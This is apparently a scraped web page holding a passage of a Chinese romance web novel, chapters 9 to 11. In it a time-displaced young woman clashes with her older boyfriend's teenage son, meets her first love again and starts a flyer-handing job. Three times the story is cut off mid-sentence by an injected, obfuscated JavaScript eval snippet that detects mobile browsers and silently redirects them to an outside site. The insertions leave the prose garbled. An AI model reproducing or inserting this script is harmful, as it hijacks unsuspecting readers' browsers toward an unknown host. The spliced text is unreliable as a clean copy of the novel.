毫不夸张地说,他对周廷之是有些畏惧的。李家是大家庭,旧时气息浓厚,表面上自视清高,内里却世故庸俗,李乐泉和周念交朋友之处,周廷之就成为了李家茶余饭后必谈论的话题,而所谓谈论,不过掰开揉碎地分析周廷之的行事作风,以及他和周念交好的利害关系。 李乐泉听得多了,简直要比周念更了解周廷之的为人,不会被周廷之所展露的温和表象所迷惑。 至于周念,这会正心虚的厉害,明明周廷之还没问他为什么一反常态的到客厅玩游戏,他就此地无银三百两的给自己找了个很蹩脚的理由: “周总,楼上电视机的接口好像坏了,总接触不良。” 周念说谎都摆在脸上,碍于少年脆弱的自尊心,周廷之没有戳穿他,只是说:“你自己找人来修吧,实在修不好就换一个。”目光望向陶欣,见她抿着嘴偷笑,周廷之很想问她在笑什么,可当着两个小辈的面,周廷之有些不好意思和她亲近。 陶欣察觉到周廷之的欲言又止,主动开口说:“你不去洗澡吗。” 周廷之便顺着陶欣的话说:“嗯,现在去。” 诚然陶欣是想把周廷之先支开,待会再上楼找他,可落在周念和李乐泉的眼里,就有那么几分言听计从的意思。 没一会的功夫,陶欣也上楼去了。周念看着她的背影咬牙切齿地说:“我怀疑妲己给我爸下蛊了。” “你小子。”李乐泉把周念的脑袋扭回来,“这么生气干嘛?恋父啊?” 周念压着声音吼回去:“你才恋父!你全家恋父!我就是看不惯,不行吗?” 周念虽然是单亲家庭长大的,但从小跟着爷爷奶奶生活,这几年才搬来和周廷之一起住,父子两个平时交流也不是很多,要说恋父的确有点牵强……李乐泉摸着下巴思索一会,做出一副恍然大悟的样子:“哦,我知道了。” “知道什么了?” “据我分析,你这么生气,是因为那个女的打破了你对美好家庭的幻想,在你的预期里,你爸应该给你找个端庄大方的后妈,再生一两个活泼可爱的弟弟妹妹,然后你们一家人热热闹闹的生活在一起。”李乐泉咧嘴一笑:“依我看,你根本就是把那女的当成破坏你家庭的假想敌了。” 无独有偶的,楼上的周廷之也在说着类似的话。 “小念没有坏心,他只是身体长到十八岁了,其实跟八岁没两样,现在听到人家唱世上只有妈妈好还会掉眼泪。”周廷之走到床边,揉了揉陶欣的脸:“而你不是他理想中的妈妈,所以他才会这么抵触你。” “所以你这么早回来是怕我们俩打架?” “嗯……怕你们吵架。” “他八岁,那在你看来我几岁?”陶欣推开周廷之的手,拧着眉头说:“我不喜欢你这种哄小孩子一样的态度。” 周廷之垂下眼:“可我现在就是比你大很多。” 陶欣盯着他,昨天晚上强压下去的火气又蹭蹭地冒出来,干脆跪坐起身,直视着他说:“别以为我不知道你是怎么想的,你根本就不觉得我们两个能走得长远对吧。是啊,二十岁和三十八岁,或许当下能无视年龄很好的相处,可未来五年呢,十年呢,你就是心存顾虑,怕我后悔。” “我没有……” “没有?没有昨天晚上我说想跟你一起睡,你又是要工作又是要早起的推脱,骗鬼呢!还是说你年纪大了,那方面的能力已经退化了,你要真承认是为这个怕耽误我,那我也可以理解。” 陶欣并不擅长与人争论,可挟制周廷之像是她与生俱来的天赋,她甚至不用特意动脑子思考,就能诘问的周廷之哑口无言。而一向条理清晰、长于辩论的周廷之,在她面前总是磕磕绊绊,仿佛很费力才能说出一句完整的话。 这么多年,周廷之还是一点长进都没有。 “我……我只是觉得,对你来说,现在的我还太陌生,假设我们只交往了两天,进展不应该,这么快……” “哦,好吧,你要这么说我可以接受。” 周廷之松了口气。他刚洗完澡,穿着柔软的家居服,直起身的时候肩膀舒展,白色短袖微微绷紧,勾勒出身体的轮廓,发间的水珠一颗颗滴落到领口,那里很快就出现一小块湿濡,浸透的布料黏在皮肤上,莫名的很色气。 陶欣目光上移,将他散乱湿漉的黑发向后一捋,指尖划过他仍如青年时一般英俊的眉眼:“可你对我来说一点也不陌生。” 周廷之的身体轻轻颤了一下,呼吸滚热。 “那,请问我交往了两天的新男朋友,我可以亲你吗?” “……可以。” 陶欣弯起嘴角,飞快地凑过去亲了亲他的脸。 周廷之缓慢睁开眼,失神地看着陶欣。 “这是合理的进展吧?”陶欣笑着说:“我跟我前男友可是交往了半个月才到这一步的。” 那天的事,周廷之一直记得,记得她穿着自己宽大的外套,一蹦一跳地走在深秋铺满落叶的林荫道上,沿海的城市,晚风湿凉,她觉得冷,又不舍得和他分开,风一吹就扑进他怀里,不知过了多久,终于在路灯昏暗的地方踮起脚吻了吻他的脸颊,依依不舍地说了再见。 剩下他一个人,独站在路灯下,突然想到张爱玲小说里的那句话——他所爱的人也爱着他,想必也是极普通的事情,但是对于身当其境的人,却好像是千载难逢的巧合。 那样千载难逢的巧合,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊?”李乐泉愣了一下才反应过来,忙说:“当然算数了,你现在什么段位?” 陶欣想了想说:“好像是黄金。” 话音未落,周念嗤笑了一声,意思不言而喻,就是嘲讽。 陶欣把他当八岁小男孩看,也觉得他只是单纯的犯贱,没什么恶意,所以并不当回事:“你们什么段位啊?” 李乐泉挠了挠头说:“我们俩都是王者十颗星,没办法跟你打排位。” “哦……那要什么段位才能打排位?” “三排的话,怎么也得上星耀吧。” 陶欣虽然只和观察员一起玩了几天,但也知道王者荣耀的段位等级顺序,黄金上面是铂金,铂金上面是钻石,钻石上面才是星耀,就算一局都不输,也得打上一百多局。 看样子这条路走不通,还是另寻良方吧。 陶欣舀了勺热汤,一边吹一边说:“那我先自己上上分吧……” 陶欣提出一起上分,明摆着是别有所图,周念又不傻,当然能看出来,可他还没忘记陶欣说“这也是我家”时那副有恃无恐的样子,这会当着周廷之的面又来这套,周念就觉得妲己实在很有心机,忍不住阴阳怪气:“哼,你还是算了吧。” 一直默不作声的周廷之忽然开口说:“没事,我帮你上。” 不是?什么啊?! 周念和李乐泉不约而同地瞪大了眼睛。 9. 第 9 章 在周念看来,周廷之的生活是枯燥乏味的,他好像从生下来就开始工作,每天有无数件事情要处理,行程安排总是非常紧密,偶尔去打打高尔夫也是为了应酬,要说爱好,大概只有游泳和爬山。 周念从来不知道周廷之还会打游戏。 因为陶欣想试试周廷之的水平,就把自己的手机拿给他,叫他打一局单排。周念连饭也顾不上吃,站在周廷之身后目不转睛地看完了全程。虽然是黄金段位的低端局,但他的孙尚香没有一点多余操作,精准的走位,稳定的输出,仅仅用时七分钟就带领着队友推上了高地。 听着手机里传来的那声VICTORY,周念好像才从梦里醒过来,难以置信地盯着周廷之。 “这么快就打完了?”陶欣接过手机,也有点惊讶,不过很快就笑眯眯地说:“MVP,可以呀,你比赵佳曼厉害多了。” 周廷之听到这样的夸赞,唇上泛起一丝微笑,像是一种很克制很内敛的得意。 第一次从周廷之脸上看到这样的神情,周念的心情忽然间复杂起来。 还记得小时候,周廷之只有逢年过节才回家,每次回来都将车停在院子里,再按两下喇叭,这就像他们父子俩之间的秘密信号,周念一听到连续的汽车鸣笛声就知道是爸爸,就会兴高采烈地跑出去迎接。直到他十岁以前,周廷之看到他都是一把抱起,高高的举过头顶,然后打开后备箱,给他展示那满满一后备箱的礼物。 对幼时的周念而言,期待周廷之回家就和小孩子期待过年一样,有点没心没肺。而当他长大一些,到了渴望父爱和陪伴的年纪,价值观也已经形成,已经意识到自己所拥有的物质条件、特权、地位,这一切都源自于凭一己之力白手起家的周廷之。 忙着打拼事业而忽略了家庭,放在平庸男人的身上或许是为了逃避责任的借口,放在周廷之身上却是情有可原。即便周廷之没有给他开过一次家长会,周念也从未感受过父位的缺失,老师提起他父亲,声音都会轻柔很多,同学更是无比羡慕。 周念一直都为周廷之感到骄傲和自豪。 可是这短短两三天发生的事,完全颠覆了周念的认知,他觉得眼前的周廷之熟悉而又陌生。 李乐泉受到的刺激一点不比周念少,只是没有周念那样的触动,还能维持捧场王的人设:“真没想到周叔叔竟然会玩这个,我爸连王者是什么都不知道。” “这算什么呀。”周廷之还没反应,陶欣倒先做出一副与有荣焉的样子,竖着大拇指吹嘘说:“你周叔叔年轻的时候玩红警那才叫厉害呢,简直打遍天下无敌手。” 陶欣的语气太像亲眼所见,反而有点失真,周廷之玩红警是不是打遍天下无敌手暂且不能下定论,可以肯定的是,周廷之和小女朋友说起过自己年轻时候的事。 老天爷啊,都聊这么深了,那他妈的不真爱吗?! 李乐泉暗暗心惊的同时看了眼出奇沉默的周念,觉得他是非接受这个小后妈不可了。 李乐泉是真为周念打算,不想周念和陶欣闹得太僵,万一因为周念导致陶欣和周廷之分手,父子两个产生隔阂,实在是得不偿失。 有了这一层考虑,李乐泉就更卖力地发挥自己捧场王的本事了。“打遍天下无敌手?真的假的?”他一面质疑一面放出自己的鱼饵:“周叔叔玩过胡闹厨房吗?我跟小念一个关卡打两个小时,愣是打不到三星,真的巨难!一点失误都不能有!” 周廷之看出周念有些情绪低落,很乐意咬一口鱼饵,便笑了笑说:“没玩过,但我可以帮你们试试。” 周念别别扭扭,有点想闹小脾气的意思,可架不住另外三个人统一了主张,他也只能少数服从多数。 陶欣最先脱了鞋窝进客厅的沙发里,等着看热闹,周廷之坐在她旁边,递过来另一只手柄:“你也试试。” 周廷之没玩过,总是要熟悉一下游戏规则的,陶欣便将手柄接过来,兴致勃勃地说:“来,让我看看到底有多难。” 这游戏倒是极容易上手,三两分钟的功夫就可以熟练操作了,不过想拿高分是真的很难,需要两个人思路清晰,密切配合,最大限度的节省时间。 陶欣感觉还挺有意思的,操控着蓝色小人在地图里忙忙碌碌,又切菜又上菜,活是没少干,可一看评分才刚刚过一星。 “欸?为什么啊,我没失误呀。” “是我的问题。”周廷之温声细语地说:“我好像不该端锅,直接拿盘子过去就可以盛菜了。” 他这样一反省,陶欣也觉得自己刚才有那么几秒的空闲时间,完全可以去把盘子洗干净:“ok,我知道了,那证明这游戏盘子很重要,得盯住。” 分析完失败的原因,两个人又重开了一次,陶欣很想打到三星,紧张兮兮的,嘴巴里叽里咕噜的一直碎碎念:“切菜切菜,上菜上菜,盘子盘子,没菜了没菜了……” 而周廷之注意力高度集中的时候话反而很少,从头到尾只说了一句:“先去切菜吧,我洗盘子。” 李乐泉眼看着他俩分数越打越高,离游戏结束还有三十秒就已经逼近三星了,忍不住戳了下一旁的周念,压低声音说:“我靠,这才第四把啊,你爸是机器人吗,居然真就没端过锅。” 周念绷着脸,神情冷俏,害李乐泉不由地怀疑他有恋父情结 “耶!三星啦!”陶欣晃着手柄,满脸得意的神气:“什么呀,也不是很难嘛。” 不难?李乐泉直接往后挪了十几个小关卡。 两分钟后,陶欣很干脆地把手柄递给了周念:“你来吧,这种幼稚的游戏我不喜欢玩。” 周廷之说要把周念当成八岁孩子看待真是一点没错,明明心里怄着气,可看一看周廷之,还是将手柄接了过去,完全是一副小孩子想和爸爸亲近的模样。 也难怪周廷之不忍心告诉他真相,换做任何一个人都会于心不忍吧。 陶欣这样想着,视线又落到周廷之身上。他正在听周念和李乐泉讲解通关要领,看上去认真又专注,不像玩游戏,倒像是看两个下属汇报工作。 说老实话,虽然这么多年过去,周廷之的身体壮硕许多,但五官变化不大,既没有发腮,也没有发福,只是褪去了原本青涩的稚气,添了几分沉稳的长居高位的气息。 “是这样吗?” “对对,我的天啊,周叔叔你也太强了吧,怎么做到手完全听脑子指挥的?!” 李乐泉盘腿坐在地毯上,震惊的嘴巴都合不拢了。 陶欣很能感同身受,她第一次见周廷之玩这种游戏的时候也曾感慨,人怎么能像计算机似的,输入一套代码就完全按照这个程序运行。 不过这毕竟是个合作性游戏,要两个人默契配合才能打出高分,周念和李乐泉玩习惯了,冷不丁换个人还不大适应,频频出现失误,一失误就要重开,小孩挺较真也挺要面子的,几次三番下来脸都有点红了。 周廷之大概察觉到他的窘迫,不紧不慢地说:“没关系,不用重开,我录屏了,这局打完看回放复盘一下。” 周念“嗯”了一声,脸上写着“不成功便成仁”。 趁着周念和李乐泉凑在电视机前看回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338669|167800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放的空隙,周廷之偏头看向独自霸占了一整个沙发的陶欣:“无聊吗?” “不无聊呀。”陶欣晃晃脚丫,很惬意地吃了颗葡萄,又捏一颗在手里问他:“你要不要?” 周廷之看了一眼正分析原因总结经验的两个人,就着陶欣的手把葡萄含进了嘴里,然后把头转过去,试图装作无事发生。 陶欣缩回自己似乎被吮了一下的手指头,忽然有点羞耻,感觉像是在人家眼皮子底下偷/情。 唔……还挺刺激。 “谁的手机一直响?” “陶欣,你手机。” 陶欣回过神,从抱枕下翻出手机,接通了视频电话。电话那边传来男人略显粗狂的问候:“陶小姐,晚上好啊,今天怎么样?” 陶欣笑眯眯地回答:“吃得饱,睡得香,心情愉快。” 男人憨笑着说:“我没有打扰你吧?主要是小曼在群里艾特你,你一直没回复。” 视频里五大三粗的男人是陶欣的专属安全员,主要工作是避免陶欣受到人身威胁。陶欣知道他的顾虑,特意将镜头翻转,拍了一下那三个人的背影:“我在看人家玩游戏。” 周廷之在外边也是有头有脸的人物,安全员并不担心他对陶欣做出什么违法乱纪的事,打这个视频只是按照规章制度办事,见确实没什么问题就和陶欣说了再见。 陶欣挂断视频,随手点进“2020帮扶陶欣工作群”。虽然现在是下班时间,但整天无所事事的小组成员依旧很活跃。 【安全员赵哥:陶小姐已接通视频,状态良好,一切ok】 【观察员小曼:陶小姐在干嘛呀?】 【安全员赵哥:在大豪宅里跟三个帅哥玩游戏】 【观察员小曼:[色][色][色]】 【陶欣:?】 【陶欣:我纠正一下,是在看我男朋友哄他十八岁的大儿子和他大儿子的同学玩游戏】 【记录员盼盼:儿子哥很难搞吗?】 【陶欣:是难搞,不过把他当成八岁小男孩还可以接受】 【组长陈平:不可以模糊年龄,要有正确认知】 【陶欣:我知道,我给自己的定位是年轻貌美小后妈】 【组长陈平:[强]】 【观察员小曼:[强]】 陶欣笑了。她很清楚这些工作人员是知道她在2020年没什么朋友,怕她有了心事无人倾诉,才时不时的在群里闲聊逗趣。或许这对他们来说是分内之事,但陶欣的确因为这些陌生人,在陌生的时代感受到了温暖,非常领这份情。 又在群里说了几句闲话,转头一看那三个人已经打到了两星,虽然离三星还有一段距离,但一直闷闷不乐的周念脸上终于有了喜色。不怪周廷之说他好哄,玩那么一会游戏就把小后妈的事忘到脑后了。 晚一些的时候,李乐泉接到了家里的电话,也不知为着什么事,催他回去一趟,得知李乐泉在周念家里,那边便说叫人来接,顺道把从国外给周念带的礼物送来。这种在普通人眼里很刻意的人情世故,对李乐泉他们家却是最寻常不过的,连周念都习惯了。 没一会的功夫,有辆车停在了院门口。李乐泉从客厅的落地窗向外看,认出是他小叔的车,忙穿上鞋和父子俩道别。 人家来带了礼物,周廷之作为长辈,自然是要送一送李乐泉,于是也穿上鞋跟着出去了。 陶欣原本懒洋洋地窝在沙发里,瞥见车上下来的人,忽然坐直了身体。 她没看错吧? 李崇?!李乐泉的小叔是李崇?! 10. 第 10 章 李崇是陶欣的初恋。他们那会都是在某所子弟学校念书,陶欣读高一的时候学校刚转型为国有民办制度没两年,还留存着一些旧时风气,像陶欣这种家长下海经商的学生在学校里属于最底层,要想跟那些自持身份的同学交朋友,就得做足狗腿子的姿态,即便这样人家也是爱答不理的。 而陶欣姚雪娜这一类人同样是家里的小皇帝,受不了奴颜婢膝那一套,和那些大院子弟向来是井水不犯河水。不过陶欣长得漂亮,是校花,与同阶层的姚雪娜又是两个待遇,男生对她总特殊照顾一些,也有不少给她递情书的,女生则为着自己喜欢的人喜欢她而明里暗里的针对她。 陶欣不稀罕那些男生别有用心的特殊关照,更怕被针对,所以对待男同学都没什么好脸色,为此还多了一个略有几分阴阳怪气的外号——冷美人。 那段时间陶欣真不愿意去上学,本来也是打定主意要转学的,可在爸妈找关系替她办转学手续那期间,李崇忽然走进了她的世界。 李崇家世好,人又漂亮,大眼睛薄眼皮,看谁都带着笑意,一直是学校里很受欢迎的风云人物,走到哪身边都跟着一大堆人。在他借给陶欣雨伞之前,陶欣跟他是没有任何交集的。 记得那天下了很大的雨,放学的时候仍不见小,好多没带伞的学生被困在了教学楼里。碍于学校门岗是军事化管理,轻易不能入内,家长们在外边急的抻长了脖子,也没办法把伞送进来。 教学楼到校门口有一段距离,没有伞一定会被淋成落汤鸡,陶欣和其他同学一样,选择在教学楼里等雨势转小。 就在这个时候,李崇举着伞,浑身湿淋淋的从雨幕中走来,和他熟络的几个男生一看到他就笑了,嘻嘻哈哈的凑过去说:“不愧是你啊兄弟,专门取伞来护送我们。” 李崇也笑着,不知对那几个人说了什么,然后转身走到陶欣面前,将手里的另一把伞递给了陶欣。 陶欣怔怔地看着他,他却只是抿唇一笑,很快就和两三个男生挤着一把伞离开了。 教学楼大堂里那么多人,他独独将雨伞给了陶欣,陶欣当然知道他的用意,心里也不是毫无触动,可已经决定了转学,实在没必要横生枝节,便打算第二天把伞还回去的时候趁机和李崇说清楚。 没成想第二天见到李崇,他竟然染了风寒,不停用纸巾擦鼻涕,把鼻子擦得红红的,眼睫也低垂着,看上去有些无精打采的样子。 十月的大雨,那么凉,不生病才怪。陶欣这样想着,把伞还给他的同时又给他接了一杯热水。 后来他们渐渐熟络,一起学习,一起吃饭,一起出去玩,总是形影不离。有李崇在身边,陶欣在学校的日子轻松了很多,两个人的关系也很自然的发展为男女朋友,和所有普通情侣那样牵手,拥抱,接吻,幻想大学时光和更远的未来。 如果不是陶欣意外听到李崇和朋友的对话,得知他当初是因为同人家打赌才来追自己,或许陶欣就不会遇到周廷之,而是按照约定和李崇一起赴美留学。 对于李崇,陶欣问心无愧的爱过,分手的时候也真情实感的恨过,此刻远远看着他,心里却只剩下重遇故人的感慨。 相较于上学那会的意气风发,现在的李崇要更内敛一些,不过依旧丰神俊朗,大方得体,一言一行都叫人如沐春风的本领也分毫不减,陶欣看得出,周廷之和他很谈得来,两个人应该关系不错。 总共就谈了两次恋爱,还能看到前男友和现男友会晤的场面,陶欣觉得自己的命数绝对有点说法。 而另一边的李崇无论如何也不会想到,侄子口中的“妲己”会是陶欣。 “你说你加了谁的微信?妲己?” “就是周叔叔的女朋友,周念叫她妲己。” “哦,我听说了。” “听我妈说的吧,她是行走的新闻联播。” “还真不是,一个朋友昨天晚上去吃饭的时候碰巧遇见了。” 周廷之在圈子里是出了名的不近女色,突然间转了性,找了一个年纪那么小的女朋友,任谁都忍不住要八卦一下,短短两天的功夫这件事就已经传开了。李崇也不免好奇:“你见到了?人怎么样?” 李乐泉想了想说:“难讲,长得倒是挺漂亮的,我看她还有点眼熟,估摸着可能是在网上刷到过。” “你觉得她是网红?周廷之的品位不至于此吧。”李崇笑笑:“不是加她微信了吗,没照片?” 李乐泉解锁手机,点进陶欣的朋友圈,只看到一条横线:“欸?我感觉跟她聊得还挺好呢,竟然屏蔽我。” 对此李崇只是说:“那是人家有分寸,你和她应该不差几岁,以后去周家难免会遇见,也要注意避嫌。” 陶欣没有和周廷之提起李崇的事。 其实按照管理员的规章制度,这种情况应该首先向监护人报备的,可陶欣才因为逗周廷之玩,把二十岁的周廷之比作前男友,这会又蹦出来个前前男友,陶欣实在不大好意思张嘴。 反正李乐泉也不见得经常来,李崇这个小叔更不见得次次来接,只要碰不到,就装不知道,以后的事以后再说嘛。 陶欣这样一想,就把李崇当作不紧急事件暂时搁到了一边。当然,她目前也没有什么急着要办的紧急事件。 周廷之的工作都是长期性的,一个项目背后不知道有多少人夜以继日的付出,不可能进行到一半就撂开手,而周念正值高三暑假,天王老子来了都阻止不了他撒欢,基本上睁开眼就要出去玩,一直到晚上七八点钟才回家。 白天家里只有陶欣和琴姨两个人,还是一个大闲人和一个大忙人,交谈的次数少得可怜。 陶欣无聊的简直要长蘑菇,不到一个星期的功夫就待不住了。 她在群里艾特陈平:【能不能让我去上学,或者上班,总之找点事做,不然我会成为阁楼上的疯女人】 陈平看到“疯女人”三个字瞬间进入了一级戒备状态:【怎么了吗?你最近不是把生活安排的很充实吗?】 没错,陶欣的生活是很充实。周廷之找人把三楼清理出来给她住,她要重新规划格局,买家具,按照自己的喜好布置,闲暇时间也会打理花草,做一些运动,玩会游戏什么的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338670|167800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可这对陶欣而言还是太无聊了。 【陶欣:没事找事做的充实和有事做的充实完全是两回事,何况我现在是住在周廷之家里,每天无所事事的就盼着他早点回家,这又算怎么一回事?你们觉得像话吗?】 【陶欣:还有你们让我看的那些烂俗电视剧,我都不想说,那是我变成疯女人的罪魁祸首!】 陈平看着陶欣发来的消息,陷入沉思。 不得不承认,陶欣现阶段的生活的确很像被关在笼子里的金丝雀,非常不符合社会主义核心价值观。作为新时代女性,应该有自己为之奋斗的目标,应该走出家门,走出烂俗电视剧,用自己的双眼更全面的认识这个世界。 可话又说回来,陶欣目前对2020年的认知还太薄弱了,现在骗财骗色的手段都那么高明,陈平真怕她会遇到坏人,被骗的团团转。 陈平思来想去,决定采取“稳中求进、以进促稳”的工作办法。他在管理局的会议上提出:“这个阶段我们要尽可能的让陶欣在我们的监护范围之内,要保留替她善后和解决问题的能力,目前看来,不论上学还是上班,步子都迈得太大了,万一遇到问题不好收回来,所以我是这样想的,干脆就折中一下,让她去做一些兼职,最好是基层工作,这样也可以帮助她树立正确的金钱观念。” 陈平的提议是经过多方面考虑,非常周全,自然全票通过,于是当天晚上陶欣就接到了让她去某商城广场发传单的通知。 第二天早上,陶欣特意起了个大早,和周廷之一起吃了早饭,并在饭桌上宣布:“我今天要去上班了,待会小曼和赵哥来接我。” 周廷之原本是要喝豆浆的,听她这么说,不自觉地把杯子放下了,问:“去哪上班?你还是个学生呢。” “不是正式的上班,做兼职,去发传单。” “发传单?” 陶欣点点头,知道周廷之这样反问的用意,特地向他解释:“陈平说路要一步一步走,饭要一口一口吃,我现在不仅和社会脱节,还不具备基本的生活常识,就只能做最基础的工作,嗯……可以理解为打怪升级,发传单就是新手任务。” 周廷之看着她,沉默了好一会才说:“可我觉得,发传单……现在天气太热了,你会不会中暑。” “放心啦。”陶欣底气很足:“小曼和赵哥会陪着我的。” 她这样兴高采烈,周廷之也不忍心唱反调:“那我送你过去吧,他们两个来接你还要绕路。” “好啊,我跟赵哥说一下。” 赵哥来接陶欣去兼职来回要开一个多小时的车,虽然单位给车补,但屁股和腰受罪不给补,周廷之自告奋勇,他倒乐得省事,便和陶欣约定好直接在广场上见面。 赵哥和小曼都是从单位出发,离得近,到得早,两个人就蹲在阴凉处一边吃冰棍一边等陶欣。 不多时,一辆黑色宾利停在了路边,从头到脚一身高奢的陶欣从车里走出来。为了发传单,她还特意戴了一顶鸭舌帽。 路易威登的鸭舌帽。小曼暗搓搓上网搜了一下,差不多是她三个月的工资。 11. 第 11 章 赵哥很快就意识到,让陶欣发传单绝对不是一个好主意。 面面俱到的陈局长疏忽了一个至关重要的问题,那就是陶欣的外表过于出众,她单单是站在那里就已经像个异类,何况还穿着一身奢侈品牌,捧着一摞违和感十足的彩色传单。 在这个信息传播极快的时代,但凡有几分好事的路人看到这一幕都会忍不住拍下来发到网上,万一在互联网上发酵扩散,事态失去控制,那后果将是难以预料的,管理局最不希望这样的情况发生。 察觉到有人暗暗将摄像头对准陶欣,赵哥赶紧上前去阻拦:“不好意思,请不要拍摄。” 那路人看看他,又看看积极发传单的陶欣,狠狠翻了个白眼,捎带着骂了一句:“神经病。” 赵哥不生气,赵哥反思,赵哥也觉得确实挺像神经病。 陶欣现在这个状态本来就很有炒作的味道了,他还跟个保镖似的横拦竖挡不让人家拍照,行为逻辑就是超级奇怪啊。 一连拦了两个想要拍照的路人,赵哥幡然醒悟,从陶欣怀里接过那一大捧传单,对小曼说:“你带陶小姐去商场买套轻便点的衣服吧。” 陶欣一怔,转头看向玻璃倒映的自己。 短袖短裤休闲鞋,这一身还不轻便?难道要她裸奔吗? 不对。 陶欣后知后觉:“是我这套衣服太贵了吗?” “难怪陈局长说要帮助你树立正确的金钱观。”小曼道:“一件短袖万八千,顶我两三个月的工资呢。” 虽然有在遮掩,但陶欣眼睛里还是显露出一丝惊讶:“你两三个月的工资还不到一万?” 小曼用指尖虚抵住她的嘴唇:“好了不许说了。” 十八年时间,几度通货膨胀,物价房价一路飞涨,工农阶层的薪资却没什么显著变化,绝大多数时裂受害者都会经历一段时间的金钱观混乱期,陶欣也一样。 小曼挽着陶欣进了商场,就近找了一家平价服装店,选了一套款式差不多的短裤短袖,才花了不到两百块钱,陶欣很震惊,在今天之前,她还以为自己花几百万买衣服只是稍微贵一点。 “这么看来通货膨胀也没我想象的那么厉害。” “是啊。”小曼说:“起码我平常看小说的网站就十年没涨过价,一直都是千字三分钱。” 换好衣服,陶欣又出来发传单,这次倒是没人偷拍她了,可工作进展还是不如人意。她要宣传一家新开的健身房,老板要求客户年轻化,尽可能把传单发给年轻人,问题在于即便是暑假期间,在人流量较大的商业区,上午十点这个时间段也很少有年轻人出没。 陶欣勤勤恳恳发了半个小时,那一厚摞传单并不见薄,幸而扫码加微信的不少,几乎每个接过传单的男生都添加了健身房的微信。赵哥粗略一估算,这半个小时陶欣光提成就有二十多了。 “陶小姐这不妥妥的销冠嘛。” “我看再发一个小时就差不多了。”小曼感觉今天格外的燥热,怕陶欣长时间待在户外会中暑,便转头对赵哥说:“这附近好像有一家卖绿豆汤的,你去买吧,两杯加冰两杯不加冰。” “行,我顺便找地抽根烟。” 赵哥双手插兜晃晃悠悠地走了,就剩小曼一个人坐在角落里观察陶欣。 说老实话,最开始小曼对陶欣没什么好感,也不止是小曼,管理局的工作人员对陶欣都有几句怨言憋在肚子里,因为陶欣刚来管理局的时候实在没少折腾人,就单单是睡觉这件事吧,她说“翻身的时候床会吱吱叫”,管理局赶紧就给她换了床,然后又说“床垫硬的像门板”,管理局又马不停蹄的换床垫,紧接着又说什么“被子太重压的她难受”“枕头太高了脖子痛”“枕巾不是真丝的会脱发”。 在所有时裂受害者中,陶欣绝对是最最最难伺候的,管理局的人私底下都叫她“大小姐”,凭一己之力让管理局这个清水衙门财政赤字的大小姐。 可一段时间相处下来,小曼对陶欣又有了另一层认识,觉得她这个人活的很潇洒,很直接,想说的话就说,想做的事就做,没有什么弯弯绕绕的心思,给人的感觉像旧时侠女,无拘无束。 这会看着陶欣扎着高马尾,戴着鸭舌帽,脸颊红红,挂着汗珠,那么热情的在大太阳底下发传单,小曼心里都特别的敞亮,原本让她内耗的那些琐事一下子微不足道了。 小曼拿出手机,远远的给陶欣拍了一张照片发到群里,向陈平汇报工作进展。 就在这时,广场上出了状况。 陶欣正给一个符合要求的年轻男人出示二维码,不知从哪里冒出一个女生,一把夺过了她的手机,漂亮的脸蛋上尽是傲慢和刻薄:“你什么意思,当我是死人吗?上来就对我男朋友拉拉扯扯?” 陶欣蹙起眉:“我什么时候对你男朋友拉拉扯扯了?” 刻薄女晃了晃手机:“还装,不是你要加我男朋友微信的吗?这是什么新型站街?那你也不该大白天出来做啊。” 公共场合一丁点八卦的风吹草动都会引起轩然大波,何况刻薄女中气十足,声音洪亮,说话又难听,不过三言两语就吸引了路人的围观。 陶欣目光移到那油头粉面的年轻男人身上,他似乎很享受两个女人为他争风吃醋的场面,只在一旁欲拒还迎的劝阻自己的女朋友:“别这么说,没有的事,你别误会。” 而刻薄女像是完全没听到他说的话,始终怒瞪着陶欣,“你看什么看,当着我的面还敢勾搭我男朋友!” “诶诶诶,怎么回事?”小曼察觉不对,赶紧钻到人堆里来,恰巧就听见刻薄女说陶欣勾引她男朋友,忙拦在陶欣身前,“等一下,是不是有什么误会啊。”扭头又问陶欣:“陶小姐,这怎么一回事啊?” 陶欣笑了,是发自内心觉得搞笑:“你没听见吗,她说我勾引她男朋友。” 小曼打眼一扫就瞧见那位油头粉面的“她男朋友”了,听陶欣这么说其实也挺想笑的,可又怕真笑出来会激怒刻薄女,主要还是担心事情闹大了不好收场,所以硬忍着不笑,好言好语的解释:“误会,一定是误会,她有男朋友的,感情特别好,怎么会勾引你男朋友呢,我们就是在这发发传单,你看。” 小曼这种想息事宁人的态度倒是让陶欣有些不高兴了,绷着脸告状:“她抢我手机,还说我站街。” “我说你怎么了?你敢做不敢让人说啊!” “喂,是你男朋友主动过来跟我要传单的好吗!不信你可以问他啊!” 刻薄女闻言转头看向“油头粉面”,恶狠狠地问:“是你主动的?” “油头粉面”显然有贼心没贼胆,并不敢得罪刻薄女,竟在这时候反咬了陶欣一口:“胡说八道,是她非要我加微信,宝贝你要相信我,除了你我怎么会看上别的女人,何况还是个发传单的。” 刻薄女听了马上就大骂起来:“有爹生没娘养的贱皮子,一天不勾引男人你会死啊!” 